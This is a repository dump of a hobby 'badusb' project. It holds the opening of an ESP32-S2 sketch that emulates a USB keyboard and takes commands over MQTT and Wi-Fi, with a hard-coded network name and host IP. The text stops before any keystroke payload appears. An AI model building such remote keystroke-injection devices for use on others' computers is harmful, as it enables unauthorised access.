├── README.md └── esp32s2_badusb.ino /README.md: -------------------------------------------------------------------------------- 1 | # 一个badusb的小项目 2 | -------------------------------------------------------------------------------- /esp32s2_badusb.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "USB.h" 5 | #include "USBHIDKeyboard.h" 6 | #include 7 | 8 | USBHIDKeyboard Keyboard; 9 | 10 | const char* mqttServer = "test.ranye-iot.net"; 11 | WiFiClient wifiClient; 12 | PubSubClient mqttclient(wifiClient); 13 | 14 | char Home = KEY_LEFT_GUI; 15 | const char* ssid = "NTU"; 16 | const char* host = "210.29.79.141"; 17 | String userid = ""; 18 | String password = ""; 19 | String device = "1"; 20 | string TopiC = ""; 21 | 22 | void wifi_set(char * message,unsigned int len) 23 | { 24 | unsigned int i = 0; 25 | while(i < len ) 26 | { 27 | bool temp = 0; 28 | if (message[i]=='@') 29 | { 30 | i ++; 31 | while(message[i]!='@'&&i